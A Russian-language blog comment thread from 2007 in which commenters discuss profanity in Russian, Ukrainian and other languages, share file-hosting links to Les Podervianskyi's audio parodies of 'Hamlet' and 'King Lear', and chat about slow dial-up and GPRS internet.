    Ага, красный цвет спектра, угрожает синему. Я себе представляю армию (я служил еще в советской) без использования ненормативной лексики, да мы б, наверное, друг друга поубивали. Не люблю когда соотношение 50/50 через запятую без эмоций, вот это уже скудность речи. Мат – это же просто эмоциональная составляющая языка. Сам, правда, практически не использую, находя удовольствие в поиске эмоционально окрашенных аналогов. Кстати эта тема уже как-то была у pticaselica, но у сербов абсолютные аналоги нашего мата звучат гораздо чаще и без негатива, не так грубо, что ли. Если есть желание заброшу через файлообменник пример литературного мата в украинском обрамлении нашего известного художника, к примеру перевод «Гамлета».

  18. By crazydiamond_az on Фев 18, 2007 | Reply

    эмоционально окрашенный перевод Гамлета на украинский?? есть желание ознакомиться.. на русском читала без литературного (да и вообще без всякого) мата, поэтому очень интересно посмотреть, куда его там….э-ээ…поместили :)
    я тоже не люблю, когда каждое второе слово «окрашено» – нудно и убого.. но сама по ситуации грешу.. :( причем признаю только русский и английский – русский очень сочный, а английский очень образный.. а вот азербайджанский – не нравится… почему-то слишком грубо звучит.. в смысле, слова какие-то не очень.. если приходится употребить, сама себя слышу – и ужасаюсь..
    ссылку на файл скинете? :)

  19. By oleg3365 on Фев 18, 2007 | Reply

    Я закачал ужатую версию. Специально не комментирую http://ifolder.ru/1149620 Интересно мнение. Вообще Лесь Поддеревянский довольно известная личность у нас часто мелькает на ТВ. Прочтение авторское.

  20. By oleg3365 on Фев 18, 2007 | Reply

    Не выдержал и залил еще кое-что. Версию «Король Лир» в исполнении Леся Поддеревянского http://ifolder.ru/1150110 . Это именно версии, а не перевод. И взгляд на богемную квартиру ( я когда-то в подобной немного жил) http://ifolder.ru/1150111 . Язык на самом деле тоже не совсем украинский а суржик, но пользуется он им..

  21. By crazydiamond_az on Фев 19, 2007 | Reply

    спасибо… я сейчас дома болею, сижу на диалапе, завтра-послезавтра, думаю, поднимусь и пойду на работу – оттуда скачаю… попробовала из дома – повеситься лучше, скорость омерзительная :(

  22. By oleg3365 on Фев 19, 2007 | Reply

    Да диалап это особая форма мазохизма. А через GPRS? У нас пол года назад мобильщики в порыве конкурентного экстаза ввели такие тарифы на мобильный интернет, что сами себе каналы положили ($7, 1Гб за 30дней, я смог выбрать только 700Мб, как ни старался). Но скорость раза в 3 больше, и без реконектов.

  23. By crazydiamond_az on Фев 20, 2007 | Reply

    гм… а это мысль.. о GPRS я как-то не подумала :)

  24. By oleg3365 on Фев 20, 2007 | Reply

    Только, что как раз товарищь с нотом заезжал, я ему поправил GPRS – конект, ошибка в строке инициализации БТ-модема. Поправили, легко пошло, страничка не закачке 6-7КБ показывает.

  25. By crazydiamond_az on Фев 24, 2007 | Reply

    я вчера попыталась скачать – ничего не вышло :(
    сначала Файрфокс непривычно долго думал, потом заявил, что не может прочитать source file и закуклился…

  26. By oleg3365 on Фев 28, 2007 | Reply

    Это файлы с иФолдера? Бывает у этих файлообменников, если сесть желание, залью на рапидшару, она быстрее отвечает. Прошу прощения, что не ответил сразу. Меня эта погода совсем сложила, выключил машины залег читать. А сам себе как раз Лесем депрессию лечил. Я так понял что и Вас погода, таки, достала? У нас пререпады от «хмуро +5″ до «ясно -15″ это ж никакое здоровье не выдержит!

  27. By oleg3365 on Мар 1, 2007 | Reply

    Вот перегрузил на рапидшару версии Шекспира, может легче забрать будет.
    http://rapidshare.com/files/18789777/hamlet.mp3.html
    http://rapidshare.com/files/18791470/korol_litr.mp3.html
    А как с GPRS получилось подключится?

  28. By crazydiamond_az on Мар 1, 2007 | Reply

    нет, у нас до -15, слава Богу, не доходит… но вообще погодка-дрянь, конечно… сейчас пойду пробовать рапидшару….. спасибо!

  29. By oleg3365 on Мар 1, 2007 | Reply

    «Дрянь» не то слово. Для такой такой погоды – только не нормативная лексика!

  30. By crazydiamond_az on Мар 1, 2007 | Reply

    кстати, о ней… Гамлет скачался нормально, записала на флэшку, дома послушаю… а вот Король не пошел… сейчас еще раз попробую, может, глюк какой…

  31. By crazydiamond_az on Мар 1, 2007 | Reply

    все, процесс пошел… наверное, просто глюк был… спасибо!

  32. By oleg3365 on Мар 1, 2007 | Reply

    Очень интересно впечатление

You must be logged in to post a comment.


apartments plus hotels nsk